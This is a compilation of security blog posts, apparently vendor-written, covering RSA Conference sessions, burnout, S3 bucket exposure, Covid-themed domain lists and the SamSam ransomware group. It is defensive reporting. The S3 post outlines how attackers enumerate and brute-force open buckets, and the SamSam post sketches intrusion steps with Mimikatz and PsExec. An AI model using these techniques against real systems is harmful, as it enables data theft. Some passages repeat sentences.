Reward – is social reward and recognition given (often more powerful than monetary rewards)?
Community – are the workplace relationships supportive or is there unresolved conflict like bullying?
Fairness – are things done fairly like who gets the next opportunity or raise or nice office space? The work place needs to be fair to everyone.
Values – does the work and the environment give value, purpose, and meaning to one's life?
Maslach is often asked whether it's the person causing the burnout and she says no. The usual corporate response is to say that the person caused the burnout: she needs a better diet, better sleep, try meditation, exercise more, or just toughen up – but it's the environment that has to change.
Corman believes we need to change the tone of how we talk to each other. Maslach agrees that a culture of fear is present in companies where people don't dare to say no or show a sign of weakness. People fear they'll go down the list as a person who will be supported and promoted.
Also, when people reach out for help they may get slapped down. Toxicity deadens the communication that helps us grow.
The usual corporate response is to say that the person caused the burnout: she needs a better diet, better sleep, try meditation, exercise more, or just toughen up – but it's the environment that has to change.
The advice that Corman and Maslach offer on what we can do as employers and individuals is to work back from the burnout. The burnout comes from exhaustion, cynicism, and poor self-efficacy –the result of some or all of the six imbalances listed above. An excellent place for a company to focus is the toxicity that has developed in the culture. Work on how people talk to each other.
In his work place, Corman found that not having toxicity in the community led to solutions to the imbalances that cause burnout. Instead of coming up with a "diversity initiative," a company may want to employ an "empathy initiative." People are attracted to safe places with honest support. They are drawn to a well-built culture. Employees will do all they can to promote their company's bottom line and presence in the industry because they want to protect the place where they thrive. The problems of diversity, a shortage of people, and burnout? Those simply disappear.
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RSAC 2019: The Human Side of Security and Privacy
Research in three key areas looks into how to work with common human behaviors
It’s long been said that humans are the weak link when it comes to cyber security and privacy. At RSAC 2019 in San Francisco on Wednesday, three associate professors from leading universities leveraged their recent research findings to facilitate a discussion on common human behaviors and mental models, together with thoughts on how to solve for “the human factor.”
Emilee Rader, Associate Professor and AT&T Scholar, Department of Media and Information, Michigan State University, spoke about how people tend to create what are known as “folk theories” based on their own experience or others’ experiences they hear second-hand. For example, in her research, Rader discovered that some companies automatically install security updates without users’ knowledge – under the premise that removing the human element entirely would be a better way to secure systems.
But as it happens, many users, upon discovering their systems have been updated without their consent, blame the security updates for unrelated problems or odd behavior with their computers. A folk theory is born: security updates screw up your system. Now, you have some portion of your user base who is against security updates.
Blacklisting weak passwords is a must, but the reason for blacklisting should be explained to users.
Rader recommends that it's better to include humans in key decision points, from consent through authentication, software updates and the like. Excluding them has too much potential for unintended consequences, leading to more harm than good.
Apu Kapadia, Associate Professor of Computer Science and Associate Director, Security Program, Indiana University Bloomington, discussed his research focusing on how photographs posted online can compromise a person's privacy. As cameras and digital photos have proliferated, far too many of the photos posted online contain sensitive user information such as location. Kapadia demonstrated how photos taken throughout a home or place of work could be used to determine the location and the layout of the place, along with the habits of the people living and working there. It would not take long for an attacker or thief to piece together enough information to act in a harmful way.
Kapadia does not believe humans can or will edit their photos as effectively as a programmed system, so he is working on a camera design that uses machine learning to obscure things like computer monitors out of a picture. The hard part, he says, is obscuring a part of a photo in a way that doesn't compromise the aesthetic quality of the entire picture. While he works to figure that out, Kapadia's recommends that everyone educate themselves on some of the basics of good digital photo hygiene.
The third to present was Lujo Bauer, Associate Professor, Electrical & Computer Engineering + Computer Science, Carnegie Mellon University. His research has him on a quest for usable and secure passwords. Ultimately, Bauer determined using a password manager to auto-generate passwords is better than letting humans set passwords for themselves. However, it isn't likely that humans will be eliminated from the act of setting passwords anytime soon, so he created guidelines for Information Security Officers and end users alike, based on the findings in his research.
For Information Security Officers, Bauer's research found that length is better than complexity when setting a password. (Though a little complexity can help, it's better to relax some rules around password setting so they aren't too strict or too complicated.) Blacklisting weak passwords is a must, but the reason for blacklisting should be explained to users. When offering feedback to users, remember that they have a hundred other accounts that are just as important to them.
For end users, Bauer recommendations what we've all heard, but it bears repeating. Don't use the same password for multiple accounts, don’t use your pet's name in a password, and include symbols and numbers in the password – not just at the end.
Each of the presenters had their own ideas on how to address the human factor when it comes to security and privacy – but all agreed that for now, it’s best to find ways to work with or build on how humans actually behave.
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RSAC 2019: Tina Fey and Hugh Thompson Talk About Connecting With Teams in the Workplace
Using the technique of "Yes, And..." for great results for teams in cyber security
The theme of this year's RSA Conference 2019 was "Better." In the closing keynote, RSA Conference Chair and Symantec CTO Hugh Thompson chatted with Tina Fey, Emmy award-winning writer, actress and producer. The topic: how we better connect with each other in the workplace. Fey provided plenty of wisdom and lots of laughs along the way.
Thompson started by asking Fey about her improv work with the Upright Citizens Brigade, specifically about the improv technique of "yes, and." Fey shared "yes, and" is the foundation of working effectively through an unknown situation where anything can happen, like in improv or any situation when ideas are offered and brainstormed. The idea is agreement – whatever someone proposes you agree with it to see what's possible – then comes the "and" where you have to contribute something to build on the idea. Maybe the idea works, maybe it doesn't, but innovation has a greater chance with a creative, open environment.
Innovation works when the people at the creative table are ready to abandon their preconceived notions of what it means to look "cool" in front of their peers. It doesn't work when people have trouble taking a leap and agreeing with a proposed idea, or maybe they're good at the "yes" but don't follow up with an "and" that furthers the exploration. "The more diversity in the group the better," relates Fey. "The most interesting outcomes come from people who come from different points of view and aren't shy about sharing them."
The point of diversity landed with Thompson, who told Fey that diversity is slim in the tech industry and progress seems slow in building greater diversity. Fey responded that an organization has to commit to a level of diversity. Be active in looking, and when you think you've looked try looking again. She also suggests reaching out to communities that might not be engaged yet in the industry.
Thompson asked Fey to describe the work partnerships she trusts and how she builds a team. To Thompson, it seemed like improv requires a lack of ego and willingness to go with wherever the world takes you. Fey agreed and added that with improv, the players have to be in the moment and can't have anything planned. They have to be ready to respond to whatever appears before them. Early on you get people who are intractable, but over time teams of comedians develop who are thrilled for any weirdness or when thinks go sideways.
When it comes to building a team, Fey looks for high emotional intelligence as well as academic intelligence. She wants people who are flexible, committed, and willing to give from their personal experiences. She quotes Lorne Michaels, creator of Saturday Night Live, who once told her, "don't hire anyone you don't want to see at 3 a.m. in the morning."
The most interesting outcomes come from people who come from different points of view and aren't shy about sharing them.
Thompson followed up with a final question, "What if, hypothetically, you had an industry dominated by people who have high tech intelligence but not a high level of emotional intelligence?" The audience laughed their approval of the question and their understanding that it's not really that hypothetical. Ever the professional, Fey held for the laugh, then stuck the landing: "Get some other kinds of people in the mix wherever applicable, let them enjoy what they enjoy. Not having too homogenous a population is key."
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RSAC 2019: Women in Tech are Ready to Reach New Heights Together
The problems women face in tech have been discussed enough – it's time for action
What does it mean to be a woman in the tech industry?
It’s a discussion that's been developing for years. During the RSA Conference in San Francisco this week, Emily Heath, CISO of United Airlines, and Symantec CIO Sheila Jordan, advanced the conversation in a dialogue with a diverse group of their female peers from other leading companies. The focus: specific actions today’s female cyber security leaders can take to grow, support and mentor the next generation.
The statistics are hard to ignore. Only 11% of the cyber security community is comprised of women. And while the number of women as individual contributors in cyber security is on the rise, the number of women in critical leadership roles remains paltry. At any level, it can be a lonely existence for a woman in the male-dominated, cyber security work place.
"It is our job as female leaders in IT, to help increase the number of women in cyber security. We can’t leave it up to others,” said Jordan. “Today we took the first step by creating a community whose mission is to help increase that number in spades through mentoring and sponsorship.”
Attendees agreed overwhelmingly that women are often not seen as available and ready to take on cyber security roles. That has to change. The group discussed gearing job descriptions in a more gender-neutral fashion in order to attract more female applicants. Though small changes like this can make a difference, it was agreed that women need to be encouraged from a young age to see the cyber security industry as welcoming.
Taking Action
The first actionable task agreed to by the group: create marketing buzz that makes women in tech more visible – targeting women entering the marketplace as well as those working to advance.
The bulk of resumes submitted for an open cyber security position are by men. One leading reason why is that men go for jobs they see themselves "partially qualified for" while women hold off applying unless they see themselves as "almost wholly qualified." Lack of personal confidence will hold a woman back, just as strongly as gender bias in the industry culture. It was noted by one CISO in the room that women tend to wait to be recognized while men step up and ask to be recognized. A Vice President shared her own practice of "self-editing," which she acknowledged holds her back in meetings. Women need to be mentored and coached to stop self-censoring and represent themselves better.
The second actionable task: build a community site for mentoring, knowledge-sharing and support, so that women can better market themselves for cyber security positions.
"It’s incredibly important to connect and build relationships now within the cyber security spectrum," said Heath about encouraging and mentoring women in the industry. "When we create a concept of community, we bring great ideas together. But then it’s up to us to act on those ideas to move all of us forward."
Jordan asked the room if they felt gender bias is present in their companies today. Almost every person raised her hand. It makes sense that a male-dominated culture will hire more males. Where it doesn't make sense is when an HR department tells a hiring manager after he's hired eight women into the twelve open positions that he needs to be more balanced in his organization. He thought he was hiring the most qualified applicants.
Or when a woman who has applied repeatedly for a position is told that she can't advance without a business degree, though she has many years of experience that make her more than qualified for the job. This story was particularly upsetting to Heath, who shared her own journey of leaving school at sixteen years of age out of personal necessity and grew to forge a career without a formal education. In fact, Heath is the CISO of United Airlines today, because she was honest during her interview with her prospective male CEO about her life journey and experience. Her honesty helped her land the leadership position.
The final actionable task: create alliances that promote women. Inside companies, between organizations for women, and with men in the workplace, sustainable change happens when everyone works together.
Marketing, mentoring, and alliances: concrete actions that a room full of today’s most prominent female cyber security leaders agreed to. The group was also unanimous in its desire that all female cyber security professionals join in. "The dirty secret is the women who are opting out of these conversations," said one participant. Women with the power and position to help other women in the industry are critical to this work. Companies and the industry prosper when women are engaged.
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RSA Cryptographers Come Out Swinging
From NFTs to Covid contact tracing, panelists reflect on a tumultuous year
The RSA Conference 2021 Virtual Experience is happening May 17-20 and Symantec, as a division of Broadcom, will be providing a summary of some of the leading stories from the conference to help you stay informed.
One of the more entertaining and anticipated sessions at the RSA Conference is a conversation between some of the world’s top cryptographers on the state of computer science. But this year’s discussion was unique as the panelists gathered virtually to reflect on cryptography’s resilience after one of the most tumultuous years in recent memory.
It lived up to the advance billing as Ron Rivest, a famed cryptographer and a professor at Massachusetts Institute of Technology who co-created RSA public-key encryption, got things going by taking a swipe at the cultural phenomenon of non-fungible tokens (NFTs), drawing a parallel to the Tulip Mania that gripped the Netherlands in the 17th century.
“So tulips are a physical object and you can own them. You can possess them. You can plant them. You could enjoy them. And then you can have a picture of a tulip…so then we can have a picture of a tulip. This is the next layer and you can enjoy that. You can pass it around, but anybody can copy it. The third level, which is the NFT, is sort a token which points at the picture. So, we're two levels removed from reality.”
Openly acknowledging his skepticism, Rivest likened NFTs to homeopathic medicine.
“You diluted, you diluted, you diluted – what's left? We start off with a tulip and we have the picture of the tool. And then we have the NFT for the picture of the tulip. So what's left – the beauty is in the eye of beholder. I'm probably not going to buy any NFTs, but who knows? I might sell one.”
Fellow panelist Adi Shamir, another co-creator of RSA public-key encryption and a professor of computer science at Israel’s Weizmann Institute was slightly more optimistic about the possibilities, even hinting at plans to auction off an NFT of the first page of a 1977 MIT technical report signed by the three RSA founders and then donating the proceeds to charity.
On a more serious note, the panelists considered the role of technology, particularly digital contact tracing, in the effort to contain COVID-19.
“I think it's a nice way for digital artists to monetize their creations. I think that we should all look at it like a game of Monopoly. So, a group of people decide to join forces and play the game. And in that game, some people claim that they own the White House in the real world. It doesn't give them the rights to evict Donald Trump or Joe Biden, but they can play the game,” he said. So, I think that it makes sense in certain situations…some people collect points, some people collect stamps, some people will collect NFTs. If they want to pay money for this, fine with me.”
On a more serious note, the panelists considered the role of technology, particularly digital contact tracing, in the effort to contain COVID-19.
“I think that we have to admit the fact that privacy considerations have reduced the effectiveness of many of the contact tracing systems,” said Shamir. He argued that privacy concerns from Apple and Google have prevented the sharing of location information, “so we have to admit we are getting less capable contact tracing programs. People will say that it's a price worth paying – but we are paying a price.”
Shamir noted that despite the success of Israel’s vaccination rollout, contact tracing played a very minor role in the outcome. Few Israelis downloaded the app, according to Shamir, who credited the nation’s security services for providing contact information between phones. “That's certainly not privacy-preserving in any way or form,” he said.
Ross Anderson, a professor of security engineering at Cambridge University and Edinburgh University, also took a dim view of the deployment of technology to meet the challenges of the COVID-19 era. In the United Kingdom and other nations, Anderson said that non-tech deployments have contributed to more smoothly executed vaccine rollouts.
“The contact tracing that worked in Britain has been the old-fashioned variety where nurses at a general practice form up people in a line. They can speak the local language. They can get compliance from people by winning their trust. Where we tried to put that into call centers, it worked remarkably less well – and as for the app, it works almost not at all.”
He didn’t expect that would change dramatically as more people hopped on planes and trains in coming months.
“We’re going to see the same thing again when it comes to vaccine passports and immunity certification. If you try to bring in a vaccine passport into the UK, where we will have vaccinated everybody by July, then by the time you have written some software and tested it, it's too late.
“But then we’ll have good old-fashioned paper mechanisms like we have for the Yellow Fever vaccination,” he continued. “I've got my vaccine card, which was written out by the nurse when I got my jab and that's fine. I can stick it in my passport and that is good enough. Trying to build an all-seeing, all-dancing worldwide system is the wrong thing to do at a time like this. It's just rent seeking by tech companies who want dun governments for hundreds of millions of dollars and in the process, they will cause thousands of more lives to be unnecessarily lost.”
In the meantime, panelists cautioned about the often-fraught relationship between privacy and effectiveness, a perennial sticking point in public debates.
“These apps are not effective unless they're adopted widely,” said Rivest. “And one of the reasons people don't adopt them is because they perceive them as being invasive of their privacy. So, trying to win on a technical point by having a less private system may just get you a less effective system overall because fewer people will be using the system.”
That question came up a few times during the session, particularly when it touched on the fact that digital systems are often only adopted if people think that they're trustworthy, resilient and – perhaps, above all – secure.
In the meantime, panelists cautioned about the often-fraught relationship between privacy and effectiveness, a perennial sticking point in public debates.
However, when it comes to building secure systems, Rivest was not handing out high grades.
“We, as cryptographers, are actually pretty terrible at designing resilient systems,” he said. “Resilience means you do well in the face of a break-in or something like that. And we have ideas for coping with that…. but the idea of re-keying and re authenticating everybody is not one that we talk about much. I think overall, I would give us a great C minus as cryptographers on resilience. I think the systems we tend to design tend to be brittle and break if there's a serious key compromise.”
Shamir turned out to be an even tougher grader – but was more charitable when it came to the cryptography community.
“I will give system designers a D or F. I'll probably give cryptographers an A. I think that the cryptography community has done great things in standardizing very good crypto systems. I think that the turning point was when AES (Advanced Encryption Standard) was standardized. Since then, there have been several carefully constructed multi-year attempts to design crypto systems, which have been looked at over the last year. There is, of course, the post-Quantum cryptography by NIST. NIST just announced the third stage in evaluating lightweight cryptography. ISO is looking now at a number of other standards, including full encryption. I think that with all this careful standardization, it is going to greatly enhance our ability to have robust and secure crypto systems.”
Carmela Troncoso, an assistant professor at the École Polytechnique Fédérale de Lausanne, came down between the two extremes. But while awarding cryptographers a B, she said more work needs to be invested when it comes to deployment.
“Sometimes we don't give enough help to developers, especially when we talk about things like fully homomorphic encryption or multi-party computation that have a lot of tricks,” she said. “But I think that the thing that we probably need to think about is that the more that we move to these platform goals, like the mobile platform and the cloud platform, we have to move with resilience because we're putting all of our eggs in the same basket. And the same thing happened last year when Amazon went [offline] and half of the US couldn’t enter their doors because they had Amazon Ring.”
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RSA Looks at How to Ruin Your SOC in 5 Easy Steps
Your people are key to your success
The RSA Conference 2021 Virtual Experience is happening May 17-20 and Symantec, as a division of Broadcom, will be providing a summary of some of the leading stories from the conference to help you stay informed.
The word “expensive” is never too far away when it comes to the subject of an organization’s security operations center (SOC). Between the technology involved, and the people who are there to oversee that everything works as it should, the price of maintaining a SOC can be a budget breaker. And when it comes to meeting and preventing intrusions by adversaries, organizations too often find themselves in a struggle to build and maintain basic threat detection and response functions. Why does this happen?
Speaking at the RSA Conference 2021 on Monday, Ben Smith, Field CTO with RSA, addressed those topics in a session titled “How to Ruin Your SOC in 5 Easy Steps.” The purpose of Smith’s presentation was to give SOC managers and operators some expertise and advice on how to make sure their SOCs operate to the best of their capabilities, and that the people working in SOC environments understand how they are critical to a SOC’s mission.
Smith said SOC managers need to put their attention and resources in the following areas:
Visibility. Smith said that visibility is all about how you see your logs, network, and endpoint data. Bringing all this information into a holistic view, or what’s known as the XDR space, is where an organization needs to be headed. True visibility means being able to see what’s running on each device, what’s going out outbound, and that which is also on the endpoint.
Orchestration. Smith said to think of a SOC like an orchestra. You can have all the instruments and music you need, but without a conductor to guide the performance something will be missing. An online runbook, with the steps necessary to respond to today’s current threat environments, will allow for a SOC’s technology to perform as intended, and without any missed notes from the players.
Automation. Too often, teams struggle with too many manual processes, which can leave a SOC team feeling overburdened instead of supported. As good as they may be at their jobs, humans have the tendency to make mistakes. Automation provides speed, reproducibility, and accuracy without the job stresses that can lead to human mistakes. But, even so, a SOC manager should have a clear understanding of how automation may result in changes to an organization’s infrastructure and know the pros and cons of adding automation processes.
Analytics. You need to review and leverage your data sets and have the right tooling in place. Too many organizations don’t put these puzzle pieces together. Today’s strongest threat solutions use machine learning, and one should look for this to be delivered in a cloud-based SaaS. This will provide tremendous flexibility to add more capabilities when necessary.
People. The most-important ingredients in any SOC continue to be the people. They aren’t widgets, or gears to be stripped. Employ steps like job rotations for key personnel to keep them fresh and interested in the aspects of the SOC. Don’t just talk to them about their career paths, let them shadow a higher level analyst for a day. Designate those more-experienced analysts as mentors to your up-and-comers. And remind employees that they are all members of your security team, and they are all playing a crucial role on the front line of the battle against unwanted threats.
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S3 Security and Privacy: What is Old Is New Again
Lessons learned with regards to data and privacy protection are still applicable today
There is a lot of buzz around S3 security lately. The news is riddled with headlines that say something to the effect of “Massive Data Breach Due to Insecure S3 Bucket.” What is going on with S3 with regards to data security and privacy?! Why can Amazon not fix this? Let me start out by saying there is nothing wrong with S3 security and privacy in itself. Now when you read the title of the article and saw S3 you may have just assumed that S3 is synonymous with Amazon however that is not totally correct. Corporations can run S3 compatible servers on their LAN Networks and even in cloud providers other than Amazon.
S3 stands for Simple Storage Service and is a protocol for data storage, transmission and retrieval that is easy to implement. S3 allows developers, via scripts and other methods, to utilize virtual unlimited storage and capabilities across traditional clouds as well as hybrids. S3 can be run on S3 compatible servers on premises or in the cloud as a service. Once data is in S3 it can be moved around very quickly to other resources and made available to a variety of applications such as web browsers and natively in almost every flavor of coding language. An example of this is that a simple site can ingest pictures and documents and store them in S3. Then other resources can access the same S3 data and process it and move them to other applications and servers.
Now that you know a little about S3, I will explain my opinion on S3 Security and data privacy issues. Statements that we hear in the news talk about massive data leakage from “Open S3 Bucket.” What is a “Open S3 Bucket” you might ask. An open S3 Bucket is simply a storage location that has not been locked down to deny public or unauthenticated users to access it. Many times, the permissions on the bucket are set to allow the public to read its contents. Kind of like an open file folder share for years past. The good news is that back then most of the times these open file folders were on a corporate LAN where access was inertly limited. S3 Buckets are often found on the Internet, so an Open S3 Bucket is inertly opened to the world.
Antonio Forzieri, Symantec- presents at RSA
How might you find these “Open S3 Buckets” on the Internet? That is simple also. There are a few ways the location of buckets becomes known. First, there are search engines that are starting to become popular that discover S3 buckets and then index their contents and make them searchable. A popular search engine site is http(s)://buckets.grayhatwarfare.com. They have a free search available and users can upgrade their account to a paid version to unlock advanced features.
Another popular way for someone to target a company directly looking for Open S3 Buckets is clone their website which means to crawl the company’s website and copy every page to a hackers local disk. After the hacker has the site downloaded they can start looking though the code on the site for links to documents and other resources that are hosted on S3 servers. An example of this would be a link to s3.cyberia.cb/Marketing.docx. A hacker would simply browse to that locations root and see if they saw other files. A more advanced technique would be to start a “Brute Force” attack on the S3 buckets looking for directories that are exposed. A simple example of a “Brute Force” attack is when you go to the site with a forward slash and a name. At Brute Force may try thousands or more directories. This may look like s3.cyberia.cb/doc, s3.cberia.cb/config, etc.
Now that we know what S3 is and a few tools and techniques that hackers use to find open S3 Buckets how do we ensure we are not in the headlines?
Follow these simple steps to help lower your company’s victim potential. As you read these you will quickly see that what is old is new again.
S3 has two parts an Access Key and Secret Key combo. Make sure that you issue the key combos with the least amount of privileges necessary to perform the S3 task at hand.
Use extra caution and fully test and understand when using scripts to make directories and change resource permissions. Using poorly written scripts can inadvertently expose sensitive buckets and resources by moving those resources to open buckets or changing opening up permissions on a bucket.
Use the bucket only for what it was created for. If it is an open bucket that is supposed to be for publicly accessible documents, make sure it is never used for some other task or role. Likewise, if the bucket was locked down but now you want to open it to the world it is best to move the content to a newly created bucket. This will keep someone from not realizing the bucket is now public.
Use caution when uploading web or any other type of code to data repositories that interact with S3 buckets. If someone were to see what your companies naming schema is they could modify their Brute Force scripts to target your company closer. Example if the code says to take you company domain and add /s3Bucket_(directory) an attacker can append that to their script to look for buckets. An example of this would be /s3Bucket_userdata.
Last, remember you can always encrypt before sending data to S3 just how you would any other file. If you use data encryption and password protection of files then you have added an extra line of security in the event that the files become public accessible.
Past lessons learned with regards to data and privacy protection are still applicable today. By slowing down and taking a methodical approach you can help ensure that you nor your company are in the headlines for leaking data via S3.
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Sample Results From Processing a Large Feed of Shady Covid-Type Domains
More on the Covid Threat Web Space
Introduction
There are a multitude of new sites with Covid-19 related names now in existence, and many vendors and individuals are producing lists of “shady covid domains” these days, which they distribute through various channels as a public service to help combat spam, scams, phishing, and malware attacks.
These feeds range from simple lists of newly registered domains with "covid" or "corona" or similar patterns in the name, to lists that have been processed by an AI or Machine Learning (ML) system that takes other characteristics of the registration/hosting into account, and attempts to weed out the likely legitimate sites as False Positives (FPs).
Many of our customers then submit those lists to Symantec, with a request to either “please block all of these threats!” or “please check all of these.” This is part of our WebPulse ecosystem, where we track Web reputation, threats, and shady behavior, and send that data to various Symantec products.
There are a multitude of new sites with Covid-19 related names now in existence, and many vendors and individuals are producing lists of “shady covid domains” these days, which they distribute through various channels as a public service to help combat spam, scams, phishing, and malware attacks.
Of course, no one – whether the original list creator or the Symantec Enterprise WebPulse team – can actually visit all of the sites (which totaled over 130,000 when I last saw an estimate). And even if someone did (briefly) visit each site, they would be faced with the daunting task of deciding, for those sites with Covid-19 related content, if the site is actually legitimate, or merely apparently legitimate.
Instead, we run these lists through our big AI/ML systems, to see what they think. (And we do manually visit quite a few of the sites, to see what we think.) This report will share some results that we think are representative of the lists in general.
(This is part of our contribution to the cyberthreatcoalition.org which is a group of thousands of researchers and volunteers working in this space. Check it out – among other things, they provide a free, well-vetted blocklist of malicious domains.)
Executive Summary
The results here come from an in-depth look at one of the large lists, but they are consistent with results we’ve seen from other lists, so we feel this is a good basic view of the current “Covid Web Threat Space”.
All of the big lists we have checked contain a relatively small number of actual threats, a slightly higher amount of False Positives (FPs – legitimate sites wrongly flagged as shady), and a huge number of other domains that aren't really being visited much.
WebPulse's AI generally agrees that these latter ones should be flagged as Suspicious as a precaution, as the WebPulse dynamic voting system is already flagging most of them with elevated Risk Levels.
Note: A vetted blocklist is available HERE
Details
A more-or-less random block of 2000 shady domains was selected as a test set. (Basically, the block I happened to be checking at the time, and had the thought to spend more time to gather some formal statistics.) This list has been produced by a Machine Learning (ML) system, so in theory it should be mostly free of FPs.
Here is how the list of 2000 domains broke down:
Def. FPs Likely FPs TPs (evil) TPs (shady) Leftovers
19 7 30 1785 149
(1) FPs: In other words, we have 19/2000 marked in our DB as pretty definite FPs (legit sites) – that is unless there is a really sneaky Bad Guy behind it, or it gets hacked – and another 7 that are probably legit, but would take more time to investigate and decide. For now, I consider them to be legit sites.
Typical FPs include: legitimate “covid/corona/etc.” domains that are trying to be helpful; sites selling Covid-19 T-shirts; subdomains on various government, university, and corporate domains that are set up for their employees or customers; unrelated existing domains for things like “Coronado” and “Corona” [beer]; and attempted typosquat/brand-abuse domains registered by MarkMonitor and similar services on behalf of their corporate clients.
(Min) FP% = 1.3% //this is a minimum percentage (keep reading)...
(2) TPs: There were 30 “True Positive” domains which already carried a WebPulse database category indicating a “high confidence bad site” (Malware, Phishing, Spam, or Scam). These are the kinds of sites that people are warning you to watch out for when they publish their lists in the first place.
(Min) Malicious TP% = 1.5% //again, this is a minimum
Well, that doesn’t look very good so far, as we have nearly equivalent FP and TP rates – meaning that if you decided to block every site on the list, you would basically be flipping a coin on each one as to whether it was keeping you safe or getting in your way.
(3) Shady TPs: However, there were a huge number of “shady” domains (1785/2000), or 89.25%, where we have a Suspicious or Placeholder (or both) category assigned in the DB. Many of these may be intended for shady use, but it's hard to say how many. In any case, we would certainly vote to block them until further evidence comes in.
So, if we add the “shady” ones to the “evil” ones, we have a much better TP percentage:
Total TP% = 90.75%
It’s also worth noting that the most common type of site in all of these lists, by far, is our category of “Placeholders” (i.e., either a “parking page” from the site host, or a basic “congratulations on your new site!” page, etc.).
One subgroup are the “squatters” who register domains and hope to be able to sell them to someone else later for a hefty markup. (Given the absurd number of domains in these lists, I suspect their dreams of wealth are greatly overblown in this case.)
However, most of the Placeholders are not the “hey, want to buy this domain?” type of pages, but more generic ones, and some of these could be domains that a Bad Guy is holding in reserve for a future attack. Either way, no harm if you decide to block these for now.
Leftovers
(4) What about the 149 sites marked as “Leftovers”? These sites aren’t in the DB, so they are being rated by WebPulse in real-time when someone visits them, via its “Dynamic Voting System”. And I thought it would be interesting to provide a snapshot of what that looks like:
11 “Probably Shady” (fairly strong negative vote)
20 “Maybe Shady” (weaker negative vote)
66 “Neutral” (mixed votes)
52 “Probably Benign” (weak positive vote)
Of interest to our final FP percentage estimation, there are 15 of these 149 with high enough traffic levels, and weak positive votes, that are are likely to be benign. Adding these 15 to the 36 FPs above, we end up with 51 likely FPs:
FP% (revised estimate) = 2.5%
...with an unknown number of additional FPs from among all of the low-traffic, low-evidence ones we decided to flag as “Shady TPs” above. (As a “guesstimate” I’d say at least 5%, maybe as high as 10%. Note also that the FP% is expected to rise over time, as more of the Placeholder domains get populated with the owner’s intended legitimate content.)
But for now, since somebody else's ML system says they're probably shady, and our AI/ML systems essentially agree, why not flag them to keep our customers safer?
Conclusion
In going through tens of thousands of domains from these lists, and looking at the opinions of WebPulse’s Dynamic Voting System, I consider it to be doing a darn good job of dynamically identifying the shadiest domains – good candidates to be added to our Database as Suspicious.
This includes thousands and thousands of Placeholder domains – by far the most common subtype – which are also worth adding to the DB.
But there are also a lot of Good Guys out there: well-meaning cyber citizens who want to do something positive as a contribution to helping us all through the pandemic. There are dozens of sites which crunch the statistics or present maps, often focusing on their particular corner of the world. There are hundreds of “wash your hands and cover your coughs” sites, relaying reliable advice about how to prevent (or slow) the spread of Covid-19, and describing the symptoms which should prompt you to see testing.
To keep helping our customers we will keep sorting through the lists, and separating out the legitimate useful sites that are trying to do useful and positive things, from the sites that are clearly up to no good, and a massive group in between of sites that (for now) are basically just sitting there.
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SamSam: Targeted Ransomware Attacks Continue
Ransomware group remains highly active in 2018, focussing mainly on organizations in the U.S.
UPDATE: November 29, 2018
Two Iranian nationals have been indicted in the U.S. for their alleged involvement in SamSam attacks. The FBI estimated that the SamSam group had received $6 million in ransom payments to date and caused over $30 million in losses to victims.
The group behind the SamSam ransomware (Ransom.SamSam) has continued to mount attacks against entire organizations during 2018, with fresh attacks seen against 67 different targets, mostly located in the U.S.
SamSam specializes in targeted ransomware attacks, breaking into networks and encrypting multiple computers across an organization before issuing a high-value ransom demand. The group is believed to be behind the attack on the city of Atlanta in March, which saw numerous municipal computers encrypted. The clean-up costs for the attack are expected to run to over $10 million.
The group was also linked to the attack on the Colorado Department of Transportation, which resulted in clean-up costs of $1.5 million.
Heavy concentration on the U.S.
During 2018, Symantec has to date found evidence of attacks against 67 different organizations. SamSam targeted organizations in a wide range of sectors, but healthcare was by far the most affected sector, accounting for 24 percent of attacks in 2018.
Why healthcare was a particular focus remains unknown. The attackers may believe that healthcare organizations are easier to infect. Or they may believe that these organizations are more likely to pay the ransom.
A number of local government organizations in the U.S. were also targeted by the group and at least one of these organizations is involved in administering elections. With the midterm elections in the U.S. taking place on November 6, the focus is naturally on cyber information operations and threats to voting data integrity. However, ransomware campaigns such as SamSam can also be significantly disruptive to government organizations and their operations.
The vast majority of SamSam’s targets are located in the U.S. Of the 67 organizations targeted during 2018, 56 were located in the U.S. A small number of attacks were logged in Portugal, France, Australia, Ireland, and Israel.
Targeted ransomware
While most ransomware families are spread indiscriminately, usually via spam emails or exploit kits, SamSam is used in a targeted fashion. The SamSam group’s modus operandi is to gain access to an organization’s network, spend time performing reconnaissance by mapping out the network, before encrypting as many computers as possible and presenting the organization with a single ransom demand.
The attackers have been known to offer to decrypt all computers for a set ransom and/or offer to decrypt individual machines for a lower fee. In many cases, ransom demands can run to tens of thousands of dollars to decrypt all affected computers in an organization. If successful, these attacks can have a devastating impact on victim organizations, seriously disrupting their operations, destroying business critical information, and leading to massive clean-up costs.
How SamSam compromises organizations
The attackers behind SamSam go to great lengths to infect as many computers as possible in a targeted organization. Multiple software tools are used to carry out an attack and, in many cases, the entire process can take days to complete.
In order to carry out its attacks, the SamSam group makes extensive use of “living off the land” tactics: the use of operating system features or legitimate network administration tools to compromise victims’ networks.
These tactics are frequently used by espionage groups in order to maintain a low profile on the target’s network. By making their activity appear like legitimate processes, they hope to hide in plain sight.
For example, in one attack that took place in February 2018, more than 48 hours passed between the first evidence of intrusion and the eventual encryption of hundreds of computers in the targeted organization.
The first sign of an intrusion came when the attackers downloaded several hacking tools onto a computer in the targeted organization. Ten minutes later, the attackers began running scripts in order to identify and scan other computers on the organization’s network. They used PsInfo, a Microsoft Sysinternals tool that allows the user to gather information about other computers on the network. This could allow them to identify the software installed on these computers. PsInfo may have been used to identify systems with business-critical files that could be encrypted for ransom. The attackers also used the freely available hacking tool Mimikatz (Hacktool.Mimikatz) against selected computers to steal passwords.
After this initial flurry of activity, the attackers returned two days later and, shortly after 5 a.m., loaded the SamSam ransomware onto the initial computer. Interestingly, two different versions of SamSam were loaded. It is likely that two versions were used in order to have an alternative at hand in case one version was detected by security software.
An hour later, the attacks began executing SamSam on multiple computers across the organization’s network. This operation was carried out using PsExec, another Microsoft Sysinternals tool, which is used for executing processes on other systems. Five hours later, just under 250 computers on the network had been encrypted.
Ongoing and potent threat
SamSam continues to pose a grave threat to organizations in the U.S. The group is skilled and resourceful, capable of using tactics and tools more commonly seen in espionage attacks.
A successful SamSam attack will likely be highly disruptive to any affected organizations. In the worst-case scenario, if no backups are available or if backups are encrypted by SamSam, valuable data could be permanently lost in an attack. Even if an organization does have backups, restoring affected computers and cleaning up the network will cost time and money and may lead to reputational damage.
Protection
The following protections are in place to protect customers against SamSam attacks:
Ransom.SamSam
Hacktool.Mimikatz
In addition, Symantec’s Targeted Attack Analytics (TAA) is able to identify and flag “living off the land” activity associated with targeted attacks such as SamSam. To find out more about TAA, read our white paper Targeted Attack Analytics: Using Cloud-based Artificial Intelligence for Enterprise-Focused Advanced Threat Protection
Best practices
